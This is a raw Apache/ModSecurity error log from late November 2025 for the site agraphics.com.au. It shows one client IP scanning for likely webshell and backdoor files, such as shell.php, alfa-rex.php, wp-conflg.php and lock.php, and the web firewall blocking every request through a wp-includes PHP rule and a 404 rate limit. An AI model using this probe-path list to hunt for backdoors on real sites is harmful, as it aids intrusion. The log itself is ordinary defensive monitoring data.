[Sat Nov 22 05:49:35.003093 2025] [:error] [pid 53479:tid 53552] [client 172.161.73.78:45573] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/xmrlpc.php"] [unique_id "aSDeb26cicFF3Aas-oR44QAAAJA"]
[Sat Nov 22 05:49:37.031915 2025] [:error] [pid 25856:tid 25874] [client 172.161.73.78:55482] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/xmrlpc.php"] [unique_id "aSDecRsTP0wy94zKUvGwVQAAARA"]
[Sat Nov 22 05:49:40.116969 2025] [:error] [pid 25856:tid 25869] [client 172.161.73.78:10503] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/plugin.php"] [unique_id "aSDedBsTP0wy94zKUvGwYAAAAQs"]
[Sat Nov 22 05:49:44.056033 2025] [:error] [pid 25856:tid 25867] [client 172.161.73.78:10326] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/plugin.php"] [unique_id "aSDeeBsTP0wy94zKUvGwdAAAAQk"]
[Sat Nov 22 05:49:45.433930 2025] [:error] [pid 53479:tid 53559] [client 172.161.73.78:10331] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/plugin.php"] [unique_id "aSDeeW6cicFF3Aas-oR5AQAAAJc"]
[Sat Nov 22 05:49:47.986784 2025] [proxy_fcgi:error] [pid 53478:tid 53531] [client 172.161.73.78:10364] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:49:48.291296 2025] [:error] [pid 53478:tid 53528] [client 172.161.73.78:10364] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/shell.php"] [unique_id "aSDefAhUYdXBbQswAdQTWQAAAFM"]
[Sat Nov 22 05:49:50.590806 2025] [proxy_fcgi:error] [pid 53479:tid 53549] [client 172.161.73.78:46865] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:49:50.843616 2025] [proxy_fcgi:error] [pid 53479:tid 53536] [client 172.161.73.78:46865] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:49:51.105500 2025] [proxy_fcgi:error] [pid 53479:tid 53555] [client 172.161.73.78:46865] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:49:51.341950 2025] [:error] [pid 53479:tid 53544] [client 172.161.73.78:46865] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/autoload_classmap.php"] [unique_id "aSDef26cicFF3Aas-oR5EQAAAIg"]
[Sat Nov 22 05:49:53.212592 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:11225] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSDegRsTP0wy94zKUvGwlAAAAQA"]
[Sat Nov 22 05:49:54.495676 2025] [:error] [pid 53566:tid 53588] [client 172.161.73.78:55487] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSDegsbSHDBkRbwMbd47IQAAANQ"]
[Sat Nov 22 05:49:57.320372 2025] [:error] [pid 53566:tid 53572] [client 172.161.73.78:60538] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aSDehcbSHDBkRbwMbd47KQAAAMQ"]
[Sat Nov 22 05:49:59.111843 2025] [:error] [pid 53479:tid 53539] [client 172.161.73.78:10514] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/text.php"] [unique_id "aSDeh26cicFF3Aas-oR5IgAAAIM"]
[Sat Nov 22 05:50:01.076331 2025] [:error] [pid 53566:tid 53583] [client 172.161.73.78:45576] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/muse.php"] [unique_id "aSDeicbSHDBkRbwMbd47NAAAAM8"]
[Sat Nov 22 05:50:04.054303 2025] [:error] [pid 53479:tid 53558] [client 172.161.73.78:45628] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSDejG6cicFF3Aas-oR5OgAAAJY"]
[Sat Nov 22 05:50:06.382881 2025] [:error] [pid 25856:tid 25859] [client 172.161.73.78:60505] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/php-compat/chosen.php"] [unique_id "aSDejhsTP0wy94zKUvGwwwAAAQE"]
[Sat Nov 22 05:50:08.543810 2025] [:error] [pid 53566:tid 53592] [client 172.161.73.78:10360] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSDekMbSHDBkRbwMbd47SwAAANg"]
[Sat Nov 22 05:50:09.572395 2025] [:error] [pid 53479:tid 53546] [client 172.161.73.78:45618] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSDekW6cicFF3Aas-oR5SgAAAIo"]
[Sat Nov 22 05:50:11.842444 2025] [:error] [pid 25856:tid 25877] [client 172.161.73.78:45574] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSDekxsTP0wy94zKUvGw5QAAARM"]
[Sat Nov 22 05:50:12.761021 2025] [:error] [pid 53566:tid 53582] [client 172.161.73.78:45597] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSDelMbSHDBkRbwMbd47UAAAAM4"]
[Sat Nov 22 05:50:15.087600 2025] [:error] [pid 25856:tid 25862] [client 172.161.73.78:10531] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/astra/inc/network.php"] [unique_id "aSDelxsTP0wy94zKUvGw_gAAAQQ"]
[Sat Nov 22 05:50:16.119181 2025] [:error] [pid 25856:tid 25865] [client 172.161.73.78:11215] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/astra/inc/network.php"] [unique_id "aSDemBsTP0wy94zKUvGxAAAAAQc"]
[Sat Nov 22 05:50:17.167651 2025] [:error] [pid 53477:tid 53483] [client 172.161.73.78:11106] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/astra/inc/network.php"] [unique_id "aSDemX7Lu30Ku9O40aLdiQAAAAI"]
[Sat Nov 22 05:50:20.756173 2025] [:error] [pid 53479:tid 53540] [client 172.161.73.78:11098] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/astra/inc/network.php"] [unique_id "aSDenG6cicFF3Aas-oR5YAAAAIQ"]
[Sat Nov 22 05:50:23.240973 2025] [:error] [pid 53478:tid 53531] [client 172.161.73.78:10413] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aSDenwhUYdXBbQswAdQTuAAAAFY"]
[Sat Nov 22 05:50:25.469280 2025] [:error] [pid 25856:tid 25862] [client 172.161.73.78:10715] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aSDeoRsTP0wy94zKUvGxIQAAAQQ"]
[Sat Nov 22 05:50:28.972953 2025] [:error] [pid 25856:tid 25880] [client 172.161.73.78:37809] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aSDepBsTP0wy94zKUvGxMQAAARY"]
[Sat Nov 22 05:50:30.028496 2025] [:error] [pid 53477:tid 53488] [client 172.161.73.78:35790] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aSDepn7Lu30Ku9O40aLd5gAAAAc"]
[Sat Nov 22 05:50:31.595102 2025] [:error] [pid 53566:tid 53571] [client 172.161.73.78:34694] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-conflg.php"] [unique_id "aSDep8bSHDBkRbwMbd47kwAAAMM"]
[Sat Nov 22 05:50:34.000299 2025] [:error] [pid 25856:tid 25882] [client 172.161.73.78:41432] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-conflg.php"] [unique_id "aSDeqRsTP0wy94zKUvGxTQAAARg"]
[Sat Nov 22 05:50:40.612068 2025] [:error] [pid 25856:tid 25864] [client 172.161.73.78:41438] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-conflg.php"] [unique_id "aSDesBsTP0wy94zKUvGxbgAAAQY"]
[Sat Nov 22 05:50:44.281786 2025] [:error] [pid 53566:tid 53590] [client 172.161.73.78:10488] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-conflg.php"] [unique_id "aSDetMbSHDBkRbwMbd48AQAAANY"]
[Sat Nov 22 05:50:45.180116 2025] [:error] [pid 53477:tid 53492] [client 172.161.73.78:44799] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSDetX7Lu30Ku9O40aLeEgAAAAs"]
[Sat Nov 22 05:50:47.011876 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:64999] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSDetxsTP0wy94zKUvGxiAAAAQA"]
[Sat Nov 22 05:50:48.524698 2025] [:error] [pid 53566:tid 53568] [client 172.161.73.78:10474] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSDeuMbSHDBkRbwMbd48CQAAAMA"]
[Sat Nov 22 05:50:49.978090 2025] [:error] [pid 25856:tid 25872] [client 172.161.73.78:41435] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aSDeuRsTP0wy94zKUvGxlgAAAQ4"]
[Sat Nov 22 05:50:55.309838 2025] [:error] [pid 53479:tid 53552] [client 172.161.73.78:65022] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-knownold/inputs.php"] [unique_id "aSDev26cicFF3Aas-oR5mAAAAJA"]
[Sat Nov 22 05:50:56.104329 2025] [:error] [pid 53566:tid 53590] [client 172.161.73.78:10449] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-knownold/inputs.php"] [unique_id "aSDewMbSHDBkRbwMbd48IAAAANY"]
[Sat Nov 22 05:50:58.629417 2025] [:error] [pid 53478:tid 53513] [client 172.161.73.78:64974] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-knownold/inputs.php"] [unique_id "aSDewghUYdXBbQswAdQT3AAAAEQ"]
[Sat Nov 22 05:50:59.768093 2025] [:error] [pid 53478:tid 53511] [client 172.161.73.78:44772] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-knownold/inputs.php"] [unique_id "aSDewwhUYdXBbQswAdQT3QAAAEI"]
[Sat Nov 22 05:51:01.448213 2025] [:error] [pid 53478:tid 53512] [client 172.161.73.78:35777] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/mar.php"] [unique_id "aSDexQhUYdXBbQswAdQT4AAAAEM"]
[Sat Nov 22 05:51:04.924587 2025] [:error] [pid 53477:tid 53487] [client 172.161.73.78:35795] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/mar.php"] [unique_id "aSDeyH7Lu30Ku9O40aLeOAAAAAY"]
[Sat Nov 22 05:51:11.407815 2025] [:error] [pid 25856:tid 25878] [client 172.161.73.78:33961] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aSDezxsTP0wy94zKUvGx2QAAARQ"]
[Sat Nov 22 05:51:14.404521 2025] [:error] [pid 25856:tid 25869] [client 172.161.73.78:46881] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes/about.php"] [unique_id "aSDe0hsTP0wy94zKUvGx5gAAAQs"]
[Sat Nov 22 05:51:17.494975 2025] [proxy_fcgi:error] [pid 25856:tid 25861] [client 172.161.73.78:63007] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:51:17.771791 2025] [proxy_fcgi:error] [pid 25856:tid 25860] [client 172.161.73.78:63007] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:51:18.012782 2025] [:error] [pid 25856:tid 25868] [client 172.161.73.78:63007] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twenty/twenty.php"] [unique_id "aSDe1hsTP0wy94zKUvGx-wAAAQo"]
[Sat Nov 22 05:51:20.362264 2025] [:error] [pid 53566:tid 53579] [client 172.161.73.78:55432] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twenty/twenty.php"] [unique_id "aSDe2MbSHDBkRbwMbd48UAAAAMs"]
[Sat Nov 22 05:51:21.804340 2025] [:error] [pid 53479:tid 53538] [client 172.161.73.78:46871] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twenty/twenty.php"] [unique_id "aSDe2W6cicFF3Aas-oR5vwAAAII"]
[Sat Nov 22 05:51:30.186461 2025] [:error] [pid 53478:tid 53530] [client 172.161.73.78:62980] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twenty/twenty.php"] [unique_id "aSDe4ghUYdXBbQswAdQUIAAAAFU"]
[Sat Nov 22 05:51:33.765465 2025] [:error] [pid 53479:tid 53548] [client 172.161.73.78:10506] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/alfa-rex.php"] [unique_id "aSDe5W6cicFF3Aas-oR52AAAAIw"]
[Sat Nov 22 05:51:41.216014 2025] [:error] [pid 53478:tid 53521] [client 172.161.73.78:63009] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/alfa-rex.php"] [unique_id "aSDe7QhUYdXBbQswAdQUMwAAAEw"]
[Sat Nov 22 05:51:44.677567 2025] [:error] [pid 53478:tid 53519] [client 172.161.73.78:33939] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/alfa-rex.php"] [unique_id "aSDe8AhUYdXBbQswAdQUNgAAAEo"]
[Sat Nov 22 05:51:46.762242 2025] [:error] [pid 53477:tid 53486] [client 172.161.73.78:33981] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/lock.php"] [unique_id "aSDe8n7Lu30Ku9O40aLe2wAAAAU"]
[Sat Nov 22 05:51:47.626886 2025] [:error] [pid 53566:tid 53582] [client 172.161.73.78:63002] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/lock.php"] [unique_id "aSDe88bSHDBkRbwMbd48owAAAM4"]
[Sat Nov 22 05:51:53.107503 2025] [:error] [pid 53479:tid 53542] [client 172.161.73.78:10509] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/lock.php"] [unique_id "aSDe-W6cicFF3Aas-oR57QAAAIY"]
